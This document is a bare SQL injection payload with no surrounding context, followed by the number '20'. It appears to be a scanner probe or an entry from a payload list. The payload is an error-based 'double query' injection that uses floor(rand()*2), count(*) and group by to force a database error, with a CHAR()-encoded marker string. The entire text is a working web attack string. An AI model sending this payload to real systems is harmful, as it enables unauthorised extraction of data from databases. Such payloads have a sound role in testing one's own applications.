(select 1 and row(1,1)>(select count(*),concat(concat(CHAR(52),CHAR(67),CHAR(117),CHAR(105),CHAR(66),CHAR(102),CHAR(98),CHAR(103),CHAR(102),CHAR(122),CHAR(116)),floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))

20